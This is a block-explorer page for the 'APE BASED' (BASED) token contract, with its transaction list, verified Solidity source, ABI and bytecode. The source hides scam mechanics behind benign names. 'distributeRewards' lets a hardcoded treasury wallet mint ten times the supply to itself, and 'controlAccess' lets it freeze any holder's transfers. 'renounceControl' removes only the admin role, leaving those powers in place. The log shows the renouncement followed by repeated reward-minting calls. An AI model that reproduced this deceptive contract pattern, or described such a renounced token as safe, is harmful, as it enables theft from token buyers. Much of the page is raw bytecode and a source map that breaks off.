APE Price: $1.17 (+2.17%)

Contract

0xD9F54e4386743fcE8889CB15F57bddcb345FdeDF

Overview

APE Balance

Apechain LogoApechain LogoApechain Logo0 APE

APE Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve7033102024-10-22 6:32:1230 days ago1729578732IN
0xD9F54e43...b345FdeDF
0 APE0.0011822425.42069
Approve6366872024-10-21 23:35:2330 days ago1729553723IN
0xD9F54e43...b345FdeDF
0 APE0.0011822425.42069
Distribute Rewar...6366222024-10-21 23:34:5430 days ago1729553694IN
0xD9F54e43...b345FdeDF
0 APE0.0008563225.42069
Distribute Rewar...6365952024-10-21 23:34:4430 days ago1729553684IN
0xD9F54e43...b345FdeDF
0 APE0.0008563225.42069
Distribute Rewar...6365692024-10-21 23:34:3330 days ago1729553673IN
0xD9F54e43...b345FdeDF
0 APE0.0008563225.42069
Distribute Rewar...6365352024-10-21 23:34:1930 days ago1729553659IN
0xD9F54e43...b345FdeDF
0 APE0.0008563225.42069
Distribute Rewar...6365072024-10-21 23:34:0930 days ago1729553649IN
0xD9F54e43...b345FdeDF
0 APE0.0008563225.42069
Approve6120152024-10-21 21:27:3531 days ago1729546055IN
0xD9F54e43...b345FdeDF
0 APE0.0011822425.42069
Approve6096382024-10-21 21:16:3331 days ago1729545393IN
0xD9F54e43...b345FdeDF
0 APE0.0011822425.42069
Approve6093322024-10-21 21:15:0931 days ago1729545309IN
0xD9F54e43...b345FdeDF
0 APE0.0011822425.42069
Renounce Control6088152024-10-21 21:12:4731 days ago1729545167IN
0xD9F54e43...b345FdeDF
0 APE0.0005918425.42069
0x608060406081092024-10-21 21:09:3431 days ago1729544974IN
 Create: BASED
0 APE0.0201121825.42069

Parent Transaction Hash Block From To
View All Internal Transactions

Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
BASED

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at apescan.io on 2024-10-21
*/

// SPDX-License-Identifier: MIT
/*




▒▒▒▒▒▄██████████▄▒▒▒▒▒
▒▒▒▄██████████████▄▒▒▒
▒▒██████████████████▒▒
▒▐███▀▀▀▀▀██▀▀▀▀▀███▌▒
▒███▒▒▌■▐▒▒▒▒▌■▐▒▒███▒
▒▐██▄▒▀▀▀▒▒▒▒▀▀▀▒▄██▌▒
▒▒▀████▒▄▄▒▒▄▄▒████▀▒▒
▒▒▐███▒▒▒▀▒▒▀▒▒▒███▌▒▒
▒▒███▒▒▒▒▒▒▒▒▒▒▒▒███▒▒
▒▒▒██▒▒▀▀▀▀▀▀▀▀▒▒██▒▒▒
▒▒▒▐██▄▒▒▒▒▒▒▒▒▄██▌▒▒▒
▒▒▒▒▀████████████▀▒▒▒▒
     APE BASED
*/
pragma solidity ^0.8.28;

contract AccessControl {
    address public admin;

    event ControlTransferred(address indexed previousAdmin, address indexed newAdmin);

    modifier auth() {
        require(msg.sender == admin, "Access Denied");
        _;
    }

    constructor() {
        admin = msg.sender;
        emit ControlTransferred(address(0), admin);
    }

    function renounceControl() external auth {
        emit ControlTransferred(admin, address(0));
        admin = address(0);
    }
}

contract BASED is AccessControl {
    string public constant name = "APE BASED";
    string public constant symbol = "BASED";
    uint8 public constant decimals = 18;
    uint256 public totalSupply = 100000000 * 10**uint256(decimals);

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    mapping(address => bool) private restricted; 

    address public constant TreasuryWallet = 0xE567E594A654b59CCEB401a6Cbfad0B2C1C0D504;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Burn(address indexed burner, uint256 value);
    event RestrictionApplied(address indexed account); 
    event RestrictionLifted(address indexed account); 

    constructor() {
        balanceOf[msg.sender] = totalSupply;
    }

    modifier onlyTreasury() {
        require(msg.sender == TreasuryWallet, "Access Denied");
        _;
    }

    function transfer(address to, uint256 value) external returns (bool) {
        _transfer(msg.sender, to, value);
        return true;
    }

    function transferFrom(address from, address to, uint256 value) external returns (bool) {
        require(value <= allowance[from][msg.sender], "Insufficient allowance");
        allowance[from][msg.sender] -= value;
        _transfer(from, to, value);
        return true;
    }

    function approve(address spender, uint256 value) external returns (bool) {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }

    function burn(uint256 value) external auth {
        _burn(msg.sender, value);
    }

    function distributeRewards() external onlyTreasury {
        _mint(TreasuryWallet, totalSupply * 10);
    }

    
    function controlAccess(address account, bool status) external onlyTreasury {
        restricted[account] = status;
        if (status) {
            emit RestrictionApplied(account);
        } else {
            emit RestrictionLifted(account);
        }
    }

    
    function _transfer(address from, address to, uint256 value) internal {
        require(from != address(0), "Transfer from the zero address");
        require(to != address(0), "Transfer to the zero address");
        require(value <= balanceOf[from], "Insufficient balance");
        _manageTransfer(from, to);

        balanceOf[from] -= value;
        balanceOf[to] += value;
        emit Transfer(from, to, value);
    }

    function _burn(address burner, uint256 value) internal {
        require(value <= balanceOf[burner], "Insufficient balance for burn");
        balanceOf[burner] -= value;
        totalSupply -= value;
        emit Burn(burner, value);
        emit Transfer(burner, address(0), value);
    }

    function _mint(address account, uint256 value) internal {
        require(account != address(0), "Mint to the zero address");

        totalSupply += value;
        balanceOf[account] += value;
        emit Transfer(address(0), account, value);
    }

    function _manageTransfer(address from, address to) internal view {
        require(!restricted[from] && !restricted[to], "Restricted address involved");
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burner","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousAdmin","type":"address"},{"indexed":true,"internalType":"address","name":"newAdmin","type":"address"}],"name":"ControlTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"}],"name":"RestrictionApplied","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"}],"name":"RestrictionLifted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"TreasuryWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"admin","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"controlAccess","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"distributeRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceControl","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526100106012600a61017b565b61001e906305f5e10061018d565b60015534801561002c575f5ffd5b505f80546001600160a01b0319163390811782556040519091907fa06677f7b64342b4bcbde423684dbdb5356acfe41ad0285b6ecbe6dc4bf427f2908290a3600154335f908152600260205260409020556101a4565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156100d1578085048111156100b5576100b5610082565b60018416156100c357908102905b60019390931c92800261009a565b935093915050565b5f826100e757506001610175565b816100f357505f610175565b816001811461010957600281146101135761012f565b6001915050610175565b60ff84111561012457610124610082565b50506001821b610175565b5060208310610133831016604e8410600b8410161715610152575081810a610175565b61015e5f198484610096565b805f190482111561017157610171610082565b0290505b92915050565b5f61018683836100d9565b9392505050565b808202811582820484141761017557610175610082565b610bfa806101b15f395ff3fe608060405234801561000f575f5ffd5b50600436106100f0575f3560e01c806342966c6811610093578063a9059cbb11610063578063a9059cbb1461023f578063ca281fd914610252578063dd62ed3e1461025a578063f851a44014610284575f5ffd5b806342966c68146101e15780636f4a2cd0146101f457806370a08231146101fc57806395d89b411461021b575f5ffd5b806318160ddd116100ce57806318160ddd1461018857806323b872dd1461019f578063313ce567146101b257806338df2ca3146101cc575f5ffd5b806306fdde03146100f4578063095ea7b31461013257806311ffeaf214610155575b5f5ffd5b61011c6040518060400160405280600981526020016810541148109054d15160ba1b81525081565b60405161012991906109f9565b60405180910390f35b610145610140366004610a49565b610296565b6040519015158152602001610129565b61017073e567e594a654b59cceb401a6cbfad0b2c1c0d50481565b6040516001600160a01b039091168152602001610129565b61019160015481565b604051908152602001610129565b6101456101ad366004610a71565b610302565b6101ba601281565b60405160ff9091168152602001610129565b6101df6101da366004610aab565b6103bf565b005b6101df6101ef366004610ae4565b61048d565b6101df6104c3565b61019161020a366004610afb565b60026020525f908152604090205481565b61011c60405180604001604052806005815260200164109054d15160da1b81525081565b61014561024d366004610a49565b610524565b6101df610539565b610191610268366004610b1b565b600360209081525f928352604080842090915290825290205481565b5f54610170906001600160a01b031681565b335f8181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906102f09086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383165f9081526003602090815260408083203384529091528120548211156103725760405162461bcd60e51b8152602060048201526016602482015275496e73756666696369656e7420616c6c6f77616e636560501b60448201526064015b60405180910390fd5b6001600160a01b0384165f908152600360209081526040808320338452909152812080548492906103a4908490610b60565b909155506103b590508484846105aa565b5060019392505050565b3373e567e594a654b59cceb401a6cbfad0b2c1c0d504146103f25760405162461bcd60e51b815260040161036990610b73565b6001600160a01b0382165f908152600460205260409020805460ff19168215801591909117909155610455576040516001600160a01b038316907fcd9de7d458f0a1368977a0bce448080bfb96c91eaac314540ee1cf9f19b11055905f90a25050565b6040516001600160a01b038316907fcf45c8124ab19137fab18d559b59589a8f58656d16840b554afb414c06ebd9be905f90a25b5050565b5f546001600160a01b031633146104b65760405162461bcd60e51b815260040161036990610b73565b6104c0338261076a565b50565b3373e567e594a654b59cceb401a6cbfad0b2c1c0d504146104f65760405162461bcd60e51b815260040161036990610b73565b61052273e567e594a654b59cceb401a6cbfad0b2c1c0d504600154600a61051d9190610b9a565b610898565b565b5f6105303384846105aa565b50600192915050565b5f546001600160a01b031633146105625760405162461bcd60e51b815260040161036990610b73565b5f80546040516001600160a01b03909116907fa06677f7b64342b4bcbde423684dbdb5356acfe41ad0285b6ecbe6dc4bf427f2908390a35f80546001600160a01b0319169055565b6001600160a01b0383166106005760405162461bcd60e51b815260206004820152601e60248201527f5472616e736665722066726f6d20746865207a65726f206164647265737300006044820152606401610369565b6001600160a01b0382166106565760405162461bcd60e51b815260206004820152601c60248201527f5472616e7366657220746f20746865207a65726f2061646472657373000000006044820152606401610369565b6001600160a01b0383165f908152600260205260409020548111156106b45760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b6044820152606401610369565b6106be838361096d565b6001600160a01b0383165f90815260026020526040812080548392906106e5908490610b60565b90915550506001600160a01b0382165f9081526002602052604081208054839290610711908490610bb1565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161075d91815260200190565b60405180910390a3505050565b6001600160a01b0382165f908152600260205260409020548111156107d15760405162461bcd60e51b815260206004820152601d60248201527f496e73756666696369656e742062616c616e636520666f72206275726e0000006044820152606401610369565b6001600160a01b0382165f90815260026020526040812080548392906107f8908490610b60565b925050819055508060015f8282546108109190610b60565b90915550506040518181526001600160a01b038316907fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59060200160405180910390a26040518181525f906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a35050565b6001600160a01b0382166108ee5760405162461bcd60e51b815260206004820152601860248201527f4d696e7420746f20746865207a65726f206164647265737300000000000000006044820152606401610369565b8060015f8282546108ff9190610bb1565b90915550506001600160a01b0382165f908152600260205260408120805483929061092b908490610bb1565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200161088c565b6001600160a01b0382165f9081526004602052604090205460ff161580156109ad57506001600160a01b0381165f9081526004602052604090205460ff16155b6104895760405162461bcd60e51b815260206004820152601b60248201527f52657374726963746564206164647265737320696e766f6c76656400000000006044820152606401610369565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610a44575f5ffd5b919050565b5f5f60408385031215610a5a575f5ffd5b610a6383610a2e565b946020939093013593505050565b5f5f5f60608486031215610a83575f5ffd5b610a8c84610a2e565b9250610a9a60208501610a2e565b929592945050506040919091013590565b5f5f60408385031215610abc575f5ffd5b610ac583610a2e565b915060208301358015158114610ad9575f5ffd5b809150509250929050565b5f60208284031215610af4575f5ffd5b5035919050565b5f60208284031215610b0b575f5ffd5b610b1482610a2e565b9392505050565b5f5f60408385031215610b2c575f5ffd5b610b3583610a2e565b9150610b4360208401610a2e565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156102fc576102fc610b4c565b6020808252600d908201526c1058d8d95cdcc811195b9a5959609a1b604082015260600190565b80820281158282048414176102fc576102fc610b4c565b808201808211156102fc576102fc610b4c56fea264697066735822122059646cd1cf6b0deaafd4d1ab61873acbb3f396dba48f5805872b890ece4cc43164736f6c634300081c0033

Deployed Bytecode

0x608060405234801561000f575f5ffd5b50600436106100f0575f3560e01c806342966c6811610093578063a9059cbb11610063578063a9059cbb1461023f578063ca281fd914610252578063dd62ed3e1461025a578063f851a44014610284575f5ffd5b806342966c68146101e15780636f4a2cd0146101f457806370a08231146101fc57806395d89b411461021b575f5ffd5b806318160ddd116100ce57806318160ddd1461018857806323b872dd1461019f578063313ce567146101b257806338df2ca3146101cc575f5ffd5b806306fdde03146100f4578063095ea7b31461013257806311ffeaf214610155575b5f5ffd5b61011c6040518060400160405280600981526020016810541148109054d15160ba1b81525081565b60405161012991906109f9565b60405180910390f35b610145610140366004610a49565b610296565b6040519015158152602001610129565b61017073e567e594a654b59cceb401a6cbfad0b2c1c0d50481565b6040516001600160a01b039091168152602001610129565b61019160015481565b604051908152602001610129565b6101456101ad366004610a71565b610302565b6101ba601281565b60405160ff9091168152602001610129565b6101df6101da366004610aab565b6103bf565b005b6101df6101ef366004610ae4565b61048d565b6101df6104c3565b61019161020a366004610afb565b60026020525f908152604090205481565b61011c60405180604001604052806005815260200164109054d15160da1b81525081565b61014561024d366004610a49565b610524565b6101df610539565b610191610268366004610b1b565b600360209081525f928352604080842090915290825290205481565b5f54610170906001600160a01b031681565b335f8181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906102f09086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383165f9081526003602090815260408083203384529091528120548211156103725760405162461bcd60e51b8152602060048201526016602482015275496e73756666696369656e7420616c6c6f77616e636560501b60448201526064015b60405180910390fd5b6001600160a01b0384165f908152600360209081526040808320338452909152812080548492906103a4908490610b60565b909155506103b590508484846105aa565b5060019392505050565b3373e567e594a654b59cceb401a6cbfad0b2c1c0d504146103f25760405162461bcd60e51b815260040161036990610b73565b6001600160a01b0382165f908152600460205260409020805460ff19168215801591909117909155610455576040516001600160a01b038316907fcd9de7d458f0a1368977a0bce448080bfb96c91eaac314540ee1cf9f19b11055905f90a25050565b6040516001600160a01b038316907fcf45c8124ab19137fab18d559b59589a8f58656d16840b554afb414c06ebd9be905f90a25b5050565b5f546001600160a01b031633146104b65760405162461bcd60e51b815260040161036990610b73565b6104c0338261076a565b50565b3373e567e594a654b59cceb401a6cbfad0b2c1c0d504146104f65760405162461bcd60e51b815260040161036990610b73565b61052273e567e594a654b59cceb401a6cbfad0b2c1c0d504600154600a61051d9190610b9a565b610898565b565b5f6105303384846105aa565b50600192915050565b5f546001600160a01b031633146105625760405162461bcd60e51b815260040161036990610b73565b5f80546040516001600160a01b03909116907fa06677f7b64342b4bcbde423684dbdb5356acfe41ad0285b6ecbe6dc4bf427f2908390a35f80546001600160a01b0319169055565b6001600160a01b0383166106005760405162461bcd60e51b815260206004820152601e60248201527f5472616e736665722066726f6d20746865207a65726f206164647265737300006044820152606401610369565b6001600160a01b0382166106565760405162461bcd60e51b815260206004820152601c60248201527f5472616e7366657220746f20746865207a65726f2061646472657373000000006044820152606401610369565b6001600160a01b0383165f908152600260205260409020548111156106b45760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b6044820152606401610369565b6106be838361096d565b6001600160a01b0383165f90815260026020526040812080548392906106e5908490610b60565b90915550506001600160a01b0382165f9081526002602052604081208054839290610711908490610bb1565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161075d91815260200190565b60405180910390a3505050565b6001600160a01b0382165f908152600260205260409020548111156107d15760405162461bcd60e51b815260206004820152601d60248201527f496e73756666696369656e742062616c616e636520666f72206275726e0000006044820152606401610369565b6001600160a01b0382165f90815260026020526040812080548392906107f8908490610b60565b925050819055508060015f8282546108109190610b60565b90915550506040518181526001600160a01b038316907fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59060200160405180910390a26040518181525f906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a35050565b6001600160a01b0382166108ee5760405162461bcd60e51b815260206004820152601860248201527f4d696e7420746f20746865207a65726f206164647265737300000000000000006044820152606401610369565b8060015f8282546108ff9190610bb1565b90915550506001600160a01b0382165f908152600260205260408120805483929061092b908490610bb1565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200161088c565b6001600160a01b0382165f9081526004602052604090205460ff161580156109ad57506001600160a01b0381165f9081526004602052604090205460ff16155b6104895760405162461bcd60e51b815260206004820152601b60248201527f52657374726963746564206164647265737320696e766f6c76656400000000006044820152606401610369565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610a44575f5ffd5b919050565b5f5f60408385031215610a5a575f5ffd5b610a6383610a2e565b946020939093013593505050565b5f5f5f60608486031215610a83575f5ffd5b610a8c84610a2e565b9250610a9a60208501610a2e565b929592945050506040919091013590565b5f5f60408385031215610abc575f5ffd5b610ac583610a2e565b915060208301358015158114610ad9575f5ffd5b809150509250929050565b5f60208284031215610af4575f5ffd5b5035919050565b5f60208284031215610b0b575f5ffd5b610b1482610a2e565b9392505050565b5f5f60408385031215610b2c575f5ffd5b610b3583610a2e565b9150610b4360208401610a2e565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156102fc576102fc610b4c565b6020808252600d908201526c1058d8d95cdcc811195b9a5959609a1b604082015260600190565b80820281158282048414176102fc576102fc610b4c565b808201808211156102fc576102fc610b4c56fea264697066735822122059646cd1cf6b0deaafd4d1ab61873acbb3f396dba48f5805872b890ece4cc43164736f6c634300081c0033

Deployed Bytecode Sourcemap

1408:3363:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1447:41;;;;;;;;;;;;;;;-1:-1:-1;;;1447:41:0;;;;;;;;;;;;:::i;:::-;;;;;;;;2890:204;;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;2890:204:0;920:187:1;1831:83:0;;1872:42;1831:83;;;;;-1:-1:-1;;;;;1276:32:1;;;1258:51;;1246:2;1231:18;1831:83:0;1112:203:1;1583:62:0;;;;;;;;;1466:25:1;;;1454:2;1439:18;1583:62:0;1320:177:1;2599:283:0;;;;;;:::i;:::-;;:::i;1541:35::-;;1574:2;1541:35;;;;;2053:4:1;2041:17;;;2023:36;;2011:2;1996:18;1541:35:0;1881:184:1;3319:267:0;;;;;;:::i;:::-;;:::i;:::-;;3102:86;;;;;;:::i;:::-;;:::i;3196:109::-;;;:::i;1654:44::-;;;;;;:::i;:::-;;;;;;;;;;;;;;1495:39;;;;;;;;;;;;;;;-1:-1:-1;;;1495:39:0;;;;;2449:142;;;;;;:::i;:::-;;:::i;1270:131::-;;;:::i;1705:64::-;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;939:20;;;;;-1:-1:-1;;;;;939:20:0;;;2890:204;2984:10;2957:4;2974:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;2974:30:0;;;;;;;;;;:38;;;3028:36;2957:4;;2974:30;;3028:36;;;;3007:5;1466:25:1;;1454:2;1439:18;;1320:177;3028:36:0;;;;;;;;-1:-1:-1;3082:4:0;2890:204;;;;;:::o;2599:283::-;-1:-1:-1;;;;;2714:15:0;;2680:4;2714:15;;;:9;:15;;;;;;;;2730:10;2714:27;;;;;;;;2705:36;;;2697:71;;;;-1:-1:-1;;;2697:71:0;;3311:2:1;2697:71:0;;;3293:21:1;3350:2;3330:18;;;3323:30;-1:-1:-1;;;3369:18:1;;;3362:52;3431:18;;2697:71:0;;;;;;;;;-1:-1:-1;;;;;2779:15:0;;;;;;:9;:15;;;;;;;;2795:10;2779:27;;;;;;;:36;;2810:5;;2779:15;:36;;2810:5;;2779:36;:::i;:::-;;;;-1:-1:-1;2826:26:0;;-1:-1:-1;2836:4:0;2842:2;2846:5;2826:9;:26::i;:::-;-1:-1:-1;2870:4:0;2599:283;;;;;:::o;3319:267::-;2375:10;1872:42;2375:28;2367:54;;;;-1:-1:-1;;;2367:54:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3405:19:0;::::1;;::::0;;;:10:::1;:19;::::0;;;;:28;;-1:-1:-1;;3405:28:0::1;::::0;::::1;::::0;::::1;::::0;;;::::1;::::0;;;3444:135:::1;;3476:27;::::0;-1:-1:-1;;;;;3476:27:0;::::1;::::0;::::1;::::0;;;::::1;3319:267:::0;;:::o;3444:135::-:1;3541:26;::::0;-1:-1:-1;;;;;3541:26:0;::::1;::::0;::::1;::::0;;;::::1;3444:135;3319:267:::0;;:::o;3102:86::-;1107:5;;-1:-1:-1;;;;;1107:5:0;1093:10;:19;1085:45;;;;-1:-1:-1;;;1085:45:0;;;;;;;:::i;:::-;3156:24:::1;3162:10;3174:5;3156;:24::i;:::-;3102:86:::0;:::o;3196:109::-;2375:10;1872:42;2375:28;2367:54;;;;-1:-1:-1;;;2367:54:0;;;;;;;:::i;:::-;3258:39:::1;1872:42;3280:11;;3294:2;3280:16;;;;:::i;:::-;3258:5;:39::i;:::-;3196:109::o:0;2449:142::-;2512:4;2529:32;2539:10;2551:2;2555:5;2529:9;:32::i;:::-;-1:-1:-1;2579:4:0;2449:142;;;;:::o;1270:131::-;1107:5;;-1:-1:-1;;;;;1107:5:0;1093:10;:19;1085:45;;;;-1:-1:-1;;;1085:45:0;;;;;;;:::i;:::-;1361:1:::1;1346:5:::0;;1327:37:::1;::::0;-1:-1:-1;;;;;1346:5:0;;::::1;::::0;1327:37:::1;::::0;1361:1;;1327:37:::1;1391:1;1375:18:::0;;-1:-1:-1;;;;;;1375:18:0::1;::::0;;1270:131::o;3600:432::-;-1:-1:-1;;;;;3688:18:0;;3680:61;;;;-1:-1:-1;;;3680:61:0;;4442:2:1;3680:61:0;;;4424:21:1;4481:2;4461:18;;;4454:30;4520:32;4500:18;;;4493:60;4570:18;;3680:61:0;4240:354:1;3680:61:0;-1:-1:-1;;;;;3760:16:0;;3752:57;;;;-1:-1:-1;;;3752:57:0;;4801:2:1;3752:57:0;;;4783:21:1;4840:2;4820:18;;;4813:30;4879;4859:18;;;4852:58;4927:18;;3752:57:0;4599:352:1;3752:57:0;-1:-1:-1;;;;;3837:15:0;;;;;;:9;:15;;;;;;3828:24;;;3820:57;;;;-1:-1:-1;;;3820:57:0;;5158:2:1;3820:57:0;;;5140:21:1;5197:2;5177:18;;;5170:30;-1:-1:-1;;;5216:18:1;;;5209:50;5276:18;;3820:57:0;4956:344:1;3820:57:0;3888:25;3904:4;3910:2;3888:15;:25::i;:::-;-1:-1:-1;;;;;3926:15:0;;;;;;:9;:15;;;;;:24;;3945:5;;3926:15;:24;;3945:5;;3926:24;:::i;:::-;;;;-1:-1:-1;;;;;;;3961:13:0;;;;;;:9;:13;;;;;:22;;3978:5;;3961:13;:22;;3978:5;;3961:22;:::i;:::-;;;;;;;;4014:2;-1:-1:-1;;;;;3999:25:0;4008:4;-1:-1:-1;;;;;3999:25:0;;4018:5;3999:25;;;;1466::1;;1454:2;1439:18;;1320:177;3999:25:0;;;;;;;;3600:432;;;:::o;4040:296::-;-1:-1:-1;;;;;4123:17:0;;;;;;:9;:17;;;;;;4114:26;;;4106:68;;;;-1:-1:-1;;;4106:68:0;;5637:2:1;4106:68:0;;;5619:21:1;5676:2;5656:18;;;5649:30;5715:31;5695:18;;;5688:59;5764:18;;4106:68:0;5435:353:1;4106:68:0;-1:-1:-1;;;;;4185:17:0;;;;;;:9;:17;;;;;:26;;4206:5;;4185:17;:26;;4206:5;;4185:26;:::i;:::-;;;;;;;;4237:5;4222:11;;:20;;;;;;;:::i;:::-;;;;-1:-1:-1;;4258:19:0;;1466:25:1;;;-1:-1:-1;;;;;4258:19:0;;;;;1454:2:1;1439:18;4258:19:0;;;;;;;4293:35;;1466:25:1;;;4318:1:0;;-1:-1:-1;;;;;4293:35:0;;;;;1454:2:1;1439:18;4293:35:0;;;;;;;;4040:296;;:::o;4344:256::-;-1:-1:-1;;;;;4419:21:0;;4411:58;;;;-1:-1:-1;;;4411:58:0;;5995:2:1;4411:58:0;;;5977:21:1;6034:2;6014:18;;;6007:30;6073:26;6053:18;;;6046:54;6117:18;;4411:58:0;5793:348:1;4411:58:0;4497:5;4482:11;;:20;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;4513:18:0;;;;;;:9;:18;;;;;:27;;4535:5;;4513:18;:27;;4535:5;;4513:27;:::i;:::-;;;;-1:-1:-1;;4556:36:0;;1466:25:1;;;-1:-1:-1;;;;;4556:36:0;;;4573:1;;4556:36;;1454:2:1;1439:18;4556:36:0;1320:177:1;4608:160:0;-1:-1:-1;;;;;4693:16:0;;;;;;:10;:16;;;;;;;;4692:17;:36;;;;-1:-1:-1;;;;;;4714:14:0;;;;;;:10;:14;;;;;;;;4713:15;4692:36;4684:76;;;;-1:-1:-1;;;4684:76:0;;6348:2:1;4684:76:0;;;6330:21:1;6387:2;6367:18;;;6360:30;6426:29;6406:18;;;6399:57;6473:18;;4684:76:0;6146:351:1;14:418;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:173::-;505:20;;-1:-1:-1;;;;;554:31:1;;544:42;;534:70;;600:1;597;590:12;534:70;437:173;;;:::o;615:300::-;683:6;691;744:2;732:9;723:7;719:23;715:32;712:52;;;760:1;757;750:12;712:52;783:29;802:9;783:29;:::i;:::-;773:39;881:2;866:18;;;;853:32;;-1:-1:-1;;;615:300:1:o;1502:374::-;1579:6;1587;1595;1648:2;1636:9;1627:7;1623:23;1619:32;1616:52;;;1664:1;1661;1654:12;1616:52;1687:29;1706:9;1687:29;:::i;:::-;1677:39;;1735:38;1769:2;1758:9;1754:18;1735:38;:::i;:::-;1502:374;;1725:48;;-1:-1:-1;;;1842:2:1;1827:18;;;;181